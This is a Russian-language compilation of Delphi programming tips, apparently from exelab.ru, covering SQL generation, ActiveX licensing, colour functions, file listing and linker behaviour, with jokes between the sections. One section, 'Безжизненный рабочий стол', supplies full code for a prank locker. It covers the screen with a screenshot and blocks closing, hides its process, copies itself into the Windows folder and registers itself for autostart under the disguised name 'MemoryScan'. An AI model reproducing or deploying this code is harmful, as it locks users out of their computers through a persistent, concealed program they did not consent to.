             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             min_max + Param_Result.param_name + A);
         end
         else
         begin
           if Param_Result.NumEq[i] = eq then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             eq + Param_Result.param_name);
           if Param_Result.NumEq[i] = min then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             min + Param_Result.param_name);
           if Param_Result.NumEq[i] = max then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             max + Param_Result.param_name);
           if Param_Result.NumEq[i] = eq_max then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             eq_max + Param_Result.param_name);
           if Param_Result.NumEq[i] = eq_min then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             eq_min + Param_Result.param_name);
           if Param_Result.NumEq[i] = min_max then
             writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
             min_max + Param_Result.param_name);
         end;
 
   {!MAIN REPEAT!}
   until
     i = Param_Result.Count;
 
   CloseFile(Sql_File);
   Clear_Search;
 end; // END FUNCTION
 
 
 function Param_Set(NumParam: integer; FieldName: string; Ref: integer;
   Equal: boolean; P_Type: char; P_Value: variant): TControlSearch;
 begin
   Param_.Field_Name[NumParam] := FieldName;
   Param_.Reference[NumParam] := Ref;
   Param_.Equality[NumParam] := Equal;
   Param_.param_type[NumParam] := P_Type;
   Param_.param_value[NumParam] := P_value;
 end; //END FUNCTION
 
 procedure SetOrder(o: integer; str: string);
 var
   t_str: string;
 begin
   AssignFile(Sql_File,path_);
   Append(Sql_File);
 
   if str = 'N' then
   begin
     t_str := tables[param_.Reference[o]];
     writeln(Sql_file,ORD_+t_str+'.'+Param_.Field_Name[o]);
     Close(Sql_File);
   end
   else
   begin
     writeln(Sql_file,ORD_+' '+str);
     Close(Sql_File);
   end;
 end; // END PROCEDURE
 
 end.
 




Лицензирование активных форм и ActiveX

- Вась, а как ты хакером стал?
- Ну... сначала у меня сп%%%ли страну...

Почему ACTIVEX и активные формы иногда не отображаются в INTERNET EXPLORER? Все, что появляется, это .HTM-страница с пустым квадратом и красным "X" в нем.

Вероятно, при создании ActiveForm вы выбрали опцию лицензирования и не поместили .LIC-файл в ваш .OCX-файл. Обычно с ActiveForms/ActiveXs лицензирование не используется, поскольку активные элементы в основном используются для повышения привлекательности Интернет-сервера и "распространяются" свободно. Чтобы выключить лицензию времени разработки (Design-Time Licensing), найдите секцию initialization в вашем ActiveForm XXXImpl-файле и замените предпоследний параметр вызова TActiveXControlFactory.Create на пустую строку:


 initialization
   TActiveXControlFactory.Create( ComServer, TAnimateX,
     TAnimate, Class_AnimateX, 1, '', 0);
 end.
 

Так когда мне нужно будет использовать Design-Time Licensing?

Ваш элемент управления должен использовать design-time-лицензию только в случае, если вы продаете ActiveX или ActiveForm другим разработчикам, которые встраивают их в продаваемые ими приложения для конечных пользователей. То есть, элемент управления работает в среде разработки (например, Delphi, C++Builder, VB и пр.) только когда LIC-файл присутствует, но это не работает когда .LIC-файл отсутствует во время выполнения приложения без среды разработки (например, в приложении для конечного пользователя).

Если вы распространяете ваш ActiveX в Интернете, то вы должны задать режим разработки для конечного пользователя (в противоположность передачи другим разработчикам), и вам в этом случае не потребуется лицензия времени разработки.

Кроме того, для показа ActiveForm необходимо установить в Internet Explorer уровень "Active content security" (безопасность активного содержимого) в medium (средняя). Чтобы это сделать, войдите в Панель Управления и щелкните на иконке Internet. Перейдите на страницу безопасности и нажмите на кнопку "Safety Level" (уровень безопасности). Убедитесь в том, что уровень находится на отметке "средний".

Примечание: Данный совет отностится только если вы разрабатываете собственные элементы управления. Потенциально хакерские элементы ActiveX могут нанести вред компьютеру!




Безжизненный рабочий стол

Попали в одну, камеру разбойник и хакер. Разбойник:
- Я вот сижу за ограбление магазина... А ты за что сидишь?
Хакер:
- Ограбил банк на 7 миллионов долларов...
Разбойник:
- Да ты че... ни фига себе... как же ты унес их из банка - денег-то офигенно много?
Хакер рассказывает в общих чертах о компьютерах, сетях, взломах и т. д. Разбойник:
- Ну ни фига себе, а как же ты попался?
Хакер:
- Брандмауэр засек и сработала защита...
Разбойник:
- Ах ты... Брандмауэр, твою мать... Всегда знал, что евреев опасаться надо...

Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:


 procedure TForm1.FormCreate(Sender: TObject);
 var
   ScreenDC: HDC;
   canvas:Tcanvas;
 begin
   ScreenDC:=GetDC(0);
   Canvas:=TCanvas.Create();
   canvas.Handle:=ScreenDC;
   Width:=Screen.Width;
   Height:=Screen.Height;
   Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
   canvas,Rect(0,0,Screen.Width,Screen.Height));
   Releasedc(0,ScreenDC);
   Canvas.Free;
 end;
 

Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место

Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-))

Событие по созданию окна в конечном итоге должно выглядеть так:


 procedure TForm1.FormCreate(Sender: TObject);
 var
   ScreenDC: HDC;
   canvas: Tcanvas;
   h: TRegistry;
 begin
   ScreenDC:=GetDC(0);
   Canvas:=TCanvas.Create();
   canvas.Handle:=ScreenDC;
   Width:=Screen.Width;
   Height:=Screen.Height;
   Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
   canvas,Rect(0,0,Screen.Width,Screen.Height));
   Releasedc(0,ScreenDC);
   Canvas.Free;
 
   if not(csDesigning in ComponentState) then
   RegisterServiceProcess(GetCurrentProcessID,1);
 
   WinDirP := StrAlloc(MAX_PATH);
   Res := GetWindowsDirectory(WinDirP, MAX_PATH);
   if Res > 0 then WinDir := StrPas(WinDirP);
 
   if FileExists(WinDir+'\OurProgram.com')=false then
   CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);
 
   h:=TRegistry.Create;
   h.RootKey:=HKEY_LOCAL_MACHINE;
   h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
   h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
   h.CloseKey;
   h.Free;
 end;
 

На событие OnCloseQuery() формы напишем:


 CanClose:=false;
 

На событие OnActivate():


 ShowWindow(Application.Handle,sw_Hide);
 

В области public объявим несколько переменных:


 public
   { Public declarations }
   Windir: string;
   WindirP: PChar;
   Res: Cardinal;
 

А в uses подключим модуль Registry:


 uses
   Registry;
 




Как сделать стандартные цвета в Delphi светлее или темнее

В данной статье хотелось бы показать принцип получения из обычного цвета более тёмный или более светлый. А так же рассмотрим, как этот принцип реализован в программном коде.

Итак, немного теории

Каждый из трёх основных цветов (Красный, Зелёный ,Синий) могут иметь значение от 0 до 255, соответственно скомбинировав их мы можем получить 16,777,216 возможных цветов. Визуально это можно представить как три оси куба, в котором направления x, y и z отвечают за цвета красный, зелёный и синий. В сочетании эти направления дают точку в кубе, представляющую один цвет из 16 миллионов. Точка куба, в которой значение равняется 0 (0,0,0) соответствует чёрному цвету, значение (255,255,255) - белому цвету, (255,0,0) - чисто красному, и т.д.

Если визуально провести линию между каким-либо цветом (r,g,b) и белым цветом (255,255,255), то получится, что на этой линии будут лежать все значения данного цвета (r,g,b). Если мы будем двигаться по линии в сторону белого цвета, то яркость будет увеличиваться до тех пор пока не получим чисто белый цвет.

То же самое можно сделать и для уменьшения яркости цвета. Достаточно провести линию из цвета (r,g,b) в чёрный (0,0,0). То есть при движении по линии к чёрному цвету мы будем уменьшать яркость до тех пор, пока не получим чёрный цвет.

Функция "Darker"
возвращает новое значение цвета, которое будет на сколько-то процентов темнее. Естественно, что при 100% мы получим чёрный цвет.
Функция "Lighter"
возвращает цвет, который светлее на сколько-то процентов исходного. 100% - белый цвет.

Функции Darker и Lighter требуют 2 параметра и используются примерно так:


 Panel1.Color := Darker(clBlue,20);
 

Получится панель цветов, которая на 20% темнее обычного синего цвета.

Теперь давайте посмотрим, как выглядят внутри наши функции:


 function Darker(Color:TColor; Percent:Byte):TColor;
 var
   r, g, b: Byte;
 begin
   Color:=ColorToRGB(Color);
   r:=GetRValue(Color);
   g:=GetGValue(Color);
   b:=GetBValue(Color);
   r:=r-muldiv(r,Percent,100);  //процент% уменьшения яркости
   g:=g-muldiv(g,Percent,100);
   b:=b-muldiv(b,Percent,100);
   result:=RGB(r,g,b);
 end;
 
 function Lighter(Color:TColor; Percent:Byte):TColor;
 var
   r, g, b: Byte;
 begin
   Color:=ColorToRGB(Color);
   r:=GetRValue(Color);
   g:=GetGValue(Color);
   b:=GetBValue(Color);
   r:=r+muldiv(255-r,Percent,100); //процент% увеличения яркости
   g:=g+muldiv(255-g,Percent,100);
   b:=b+muldiv(255-b,Percent,100);
   result:=RGB(r,g,b);
 end;
 

Так же я добавил некоторые функции, в которых уже добавлены стандартные значения процентов. Это для тех, кому некогда задумываться над процентами :)


 Panel1.Color := Light(clBlue);
 Panel1.Color := SlightlyDark(clRed);
 Panel1.Color := VeryLight(clMagenta);
 

etc.


 function SlightlyDark(Color:TColor):TColor;
 begin
   Result := Darker(Color,25);
 end;
 
 function Dark(Color:TColor):TColor;
 begin
   Result := Darker(Color,50);
 end;
 
 function VeryDark(Color:TColor):TColor;
 begin
   Result := Darker(Color,75);
 end;
 
 function SlightlyLight(Color:TColor):TColor;
 begin
   Result := Lighter(Color,25);
 end;
 
 function Light(Color:TColor):TColor;
 begin
   Result := Lighter(Color,50);
 end;
 
 function VeryLight(Color:TColor):TColor;
 begin
   Result := Lighter(Color,75);
 end;
 




Количество строк в текстовом файле

Если файлы не слишком велики, вы можете сделать так:


 List := TStringList.Create;
 try
   List.LoadFromFile('C:\FILE.TXT');
   Gauge.MaxValue := List.Count;
 finally
   List.Free;
 end;
 

Мы читаем в память весь текст, и кроме подсчета строк этот код ничего не делает. Другая идея заключается в использовании не счетчика строк, а счетчика байт. В самом начале вы запрашиваете размер файла (используя функцию Delphi FileSize), и в цикле проходите все байты, как вы делали это со строками. Цикл может выглядеть примерно так (предположим, вы используете стандартный паскалевский тип TEXT):


 Gauge.MaxValue := FileSize(TextFile);
 Reset(TextFile);
 while not eof(TextFile) do
 begin
   Readln(TextFile, Line);
   { Обработка строки }
   with Gauge do
   begin
     Progress := Progress + Length(Line) + 2; { 2 для CR/LF }
     Refresh;
   end;
 end;
 




Связывание функций

Delphi содержит очень умный компоновщик, который исключает добавление функций без внешних ссылок в ваш конечный exe-файл.

Это действительно лучшее решение, чем то, которое предлагают (старые сведения, В.О.) все C-компоновщики, компонующие все функции данного модуля (кодового файла), если хотя бы на одну из них имеется внешняя ссылка.

...я тоже так хотел. Но одна из моих форм имела "uses dll_link", где dll_link являлся компонентом, который использовал dll. Хотя компонент и был удален из формы, программа сбоила, если на машине отсутствовала нужная DLL. Естественно, компоновщик удалил весь неиспользуемый код, но почему проблема осталась? Удаление "uses dll_link" решило проблему, и уменьшило размер exe на 100k. Очевидно, компоновщик не может это удалить сам.

Я так полагаю, что "умный" компоновщик ("Smart Linking") недостаточно умен для удаления ссылок на модули, в которых нет функций со внешними ссылками. Может, он делает это намеренно, но пока не ясно почему.

...я тоже задавался этим вопросом: почему, удаляя ссылки на ненужные мне модули, которые Delphi устанавливает по-умолчанию, размер выходного файла уменьшается - почему??? Что делает в это время умный оптимизатор - компилятор?

Я провел тест опции Delphi "Smart Linking" (умное связывание). Я создал пустое приложение, одно окно, ничего более. В обработчик события FormCreate я поместил две переменные и проинициализировал их: первая представляла собой строку, куда я поместил 'Привет!', вторая была Hwnd, куторой я присвоил дескриптор ("handle").

Я создал второй модуль. В этот модуль я включил ссылки на SysUtils, WinTypes и WinProcs. Я создал функцию с именем "This". "This" получает на входе два параметра: Hwnd и String. Она преобразует строку к типу C-строки, и вызывает MessageBox. Я захотел сделать так, чтобы функция "This" все-таки не была тривиальной (ну хорошо, она тривиальная).

Важным является то, что у меня в моей программе нет ни одного места, откуда бы я вызывал "This". В список модуля формы "uses" я поместил ссылку на второй модуль (где расположена функция "This"), но при этом функция "This" нигде не вызывается.

Я собрал приложение, и запомнил размер exe-файла.

Затем я создал обработчик события FormCreate. В нем я вызывал "This" с переменными, инициализированными ранее (строка и дескриптор окна).

Я собрал приложение, и запомнил размер exe-файла.

Во втором случае (с вызовом функции "This") exe-файл получился больше на 300 байт. Из этого следует, что неиспользуемые функции не линкуются к exe-файлу.

Опция "Optimize for size and load time" (оптимизировать для размера и времени загрузки) весьма отличается от опции "smart-linking" (умное связывание). Очевидно, большинство компоновщиков сами по себе являются "умными машинками". Их технологию работы сложно понять, и это является самым строгим секретом фирмы. Некоторые теоретические выкладки можно почерпнуть из статьи, напечатанной в журнале MicroSoft Systems Journal, Июль 1993, статья называется "Liposuction your Corpulent Executables and Remove Excess Fat". Ее можно также найти на CD MSDN, если он у вас, конечно, имеется. По-крайней мере, в статье есть интересный раздел, посвященный технологии выравнивания ("alignment"), которую можно сравнить с проблемой выбора размера кластера в момент создания раздела на диске. Эта технология позволяет сэкономить, или потерять свободное место на диске при большом количестве файлов. В вопросе оптимизации существует масса мелочей. Во всяком случае, "Optimize for size and load time" выполняет ту же работу, что и прорамма W8LOSS.EXE (расположенной в каталоге \Delphi\Bin) с вашим скомпилированным приложением.

Вам нужно помнить об одной вещи: если компоновщик настроен на "умное связывание", то он не будет запускать приложение чтобы посмотреть, используется ли функция/процедура, или нет. В этом случае он проверяет на "возможность" использования той или иной функции/процедуры. Я не проверял это, но, вероятно, даже в VCL наверняка существуют методы, которые включены в ее только потому, что существует "возможность" их применения, и они "тянутся" при компиляции в ваше приложение.

Кроме того, для подтверждения моей мысли, я просто создал приложение с одной формой, работающее с базой данных и имевшее размер более 500Кб, после добавления к которому нескольких форм размер приложения не увеличился.

Типы не линкуются. Они используются только самим компилятором. Переменные "умным" компилятором не удаляются. Код, расположенный в секции initialization вызывается всегда. Процесс компиляции программ Delphi состоит из двух шагов: во-первых, компилируются все модули программы, после чего получаются двоичные промежуточные .DCU-файлы. Во-вторых, они полностью связываются все вместе и получается .EXE-файл. Во время второго шага удаляются любые функции/процедуры без внешних ссылок. Поэтому нет повода для беспокойства: ВСЕ функции, которые присутствуют в программе, будует помещены в .DCU-файл, и только те из них, которые реально используются, будут упакованы в EXE. Все будет работать именно так, как вы и ожидаете, нет никаких сюрпризов, в противном случае это связывание не будет 'smart' (умным), и эту опцию можно не включать.




Получаем информацию о ярлыке


 uses
   ShlObj,
   ComObj,
   ActiveX,
   CommCtrl;
 
 type
   PShellLinkInfoStruct = ^TShellLinkInfoStruct;
   TShellLinkInfoStruct = record
     FullPathAndNameOfLinkFile: array[0..MAX_PATH] of Char;
     FullPathAndNameOfFileToExecute: array[0..MAX_PATH] of Char;
     ParamStringsOfFileToExecute: array[0..MAX_PATH] of Char;
     FullPathAndNameOfWorkingDirectroy: array[0..MAX_PATH] of Char;
     Description: array[0..MAX_PATH] of Char;
     FullPathAndNameOfFileContiningIcon: array[0..MAX_PATH] of Char;
     IconIndex: Integer;
     HotKey: Word;
     ShowCommand: Integer;
     FindData: TWIN32FINDDATA;
   end;
 
 procedure GetLinkInfo(lpShellLinkInfoStruct: PShellLinkInfoStruct);
 var
   ShellLink: IShellLink;
   PersistFile: IPersistFile;
   AnObj: IUnknown;
 begin
   // access to the two interfaces of the object 
   AnObj       := CreateComObject(CLSID_ShellLink);
   ShellLink   := AnObj as IShellLink;
   PersistFile := AnObj as IPersistFile;
 
   // Opens the specified file and initializes an object from the file contents. 
   PersistFile.Load(PWChar(WideString(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile)), 0);
   with ShellLink do
   begin
     // Retrieves the path and file name of a Shell link object. 
     GetPath(lpShellLinkInfoStruct^.FullPathAndNameOfFileToExecute,
       SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile),
       lpShellLinkInfoStruct^.FindData,
       SLGP_UNCPRIORITY);
 
     // Retrieves the description string for a Shell link object. 
     GetDescription(lpShellLinkInfoStruct^.Description,
       SizeOf(lpShellLinkInfoStruct^.Description));
 
     // Retrieves the command-line arguments associated with a Shell link object. 
     GetArguments(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute,
       SizeOf(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute));
 
     // Retrieves the name of the working directory for a Shell link object. 
     GetWorkingDirectory(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy,
       SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy));
 
     // Retrieves the location (path and index) of the icon for a Shell link object. 
     GetIconLocation(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon,
       SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon),
       lpShellLinkInfoStruct^.IconIndex);
 
     // Retrieves the hot key for a Shell link object. 
     GetHotKey(lpShellLinkInfoStruct^.HotKey);
 
     // Retrieves the show (SW_) command for a Shell link object. 
     GetShowCmd(lpShellLinkInfoStruct^.ShowCommand);
   end;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 const
   br = #13#10;
 var
   LinkInfo: TShellLinkInfoStruct;
   s: string;
 begin
   FillChar(LinkInfo, SizeOf(LinkInfo), #0);
   LinkInfo.FullPathAndNameOfLinkFile := 'C:\WINNT\Profiles\user\Desktop\FileName.lnk';
   GetLinkInfo(@LinkInfo);
   with LinkInfo do
     s := FullPathAndNameOfLinkFile + br +
       FullPathAndNameOfFileToExecute + br +
       ParamStringsOfFileToExecute + br +
       FullPathAndNameOfWorkingDirectroy + br +
       Description + br +
       FullPathAndNameOfFileContiningIcon + br +
       IntToStr(IconIndex) + br +
       IntToStr(LoByte(HotKey)) + br +
       IntToStr(HiByte(HotKey)) + br +
       IntToStr(ShowCommand) + br +
       FindData.cFileName + br +
       FindData.cAlternateFileName;
   Memo1.Lines.Add(s);
 end;
 




Колонки в TListBox - Вставка символа табуляции

В книгах и других источниках по Delphi часто приводится пример создания компонента, способного выводить текст в списке в несколько колонок. Между тем, мало кому известен факт, что стандартный компонент TListBox уже содержит свойство, которое позволяет это делать. Это свойство TabWidth (в Delphi 2 оно не описано в файлах помощи, хотя так же присутствует), которое наследуется от класса TCustomListBox и задает величину табуляции в пикселах. Установите его равным, скажем, половине ширины компонента ListBox, чтобы отображалось две колонки. Когда будете добавлять строки, всавьте в нужных местах символ табуляции (^I):


 ListBox1.Items.Add('Колонка1'^I'Колонка2');
 

Недостаток такого подхода заключается в том, что ширина колонки не изменяется авоматически в зависимости от ширины выводимых строк, что, впрочем, легко исправить. Посмотрите на метод TextWidth класса TCanvas. Он возвращает ширину в пикселах передаваемой ему в качестве параметра строки. Тогда перед добавлением каждого нового элемента в список проверяем, превышает ли его ширина ширину колонки:


 with ListBox do
 begin
   W := Canvas.TextWidth(Str);
   if W > TabWidth then
     TabWidth := W;
 end;
 




Получить список файлов в ListView как в проводнике

Штирлиц поднял трубку и слышал писк.
- Штирлиц, подумал модем и продолжал делать инит.
- Модем, подумал Штирлиц и запищал на 33600 бод.


 procedure TForm1.Button1Click(Sender: TObject);
 var
   ListItem: TListItem;
   sr: tsearchrec;
   NewColumn: TListColumn;
 begin
   NewColumn := ListView1.Columns.Add;
   NewColumn := ListView1.Columns.Add; // добавдяются колонки
   if FindFirst('*.*', faAnyFile - faDirectory - faVolumeId, sr) = 0 then
   begin
     ListItem := ListView1.Items.Add; // создается объект
     ListItem.Caption := sr.name;
     ListItem.SubItems.Add(inttostr(sr.size));
     ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
     while FindNext(sr) = 0 do
     begin
       ListItem := ListView1.Items.Add;
       ListItem.Caption := sr.name;
       ListItem.SubItems.Add(inttostr(sr.size));
       ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
     end;
     FindClose(sr);
   end;
 end;
 




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS